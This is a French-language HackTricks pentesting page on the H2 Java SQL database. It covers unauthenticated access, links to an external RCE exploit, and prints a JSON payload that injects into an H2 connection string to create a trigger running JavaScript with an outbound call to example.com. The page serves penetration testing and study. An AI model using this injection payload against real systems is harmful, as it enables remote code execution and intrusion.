hacktricks/network-services-pentesting/pentesting-web/h2-java-sql-database.md

4.7 KiB

H2 - Base de données SQL Java

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Page officielle : https://www.h2database.com/html/main.html

Accès

Vous pouvez indiquer un nom de base de données inexistant afin de créer une nouvelle base de données sans identifiants valides (non authentifié) :

Ou si vous savez par exemple qu'un mysql est en cours d'exécution et que vous connaissez le nom de la base de données et les identifiants pour cette base de données, vous pouvez simplement y accéder :

Astuce de la boîte Hawk de HTB.

RCE

Si vous avez accès pour communiquer avec la base de données H2, vérifiez cette exploitation pour obtenir une RCE : https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

Injection SQL H2 pour RCE

Dans cet article, une charge utile est expliquée pour obtenir une RCE via une base de données H2 en exploitant une injection SQL.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥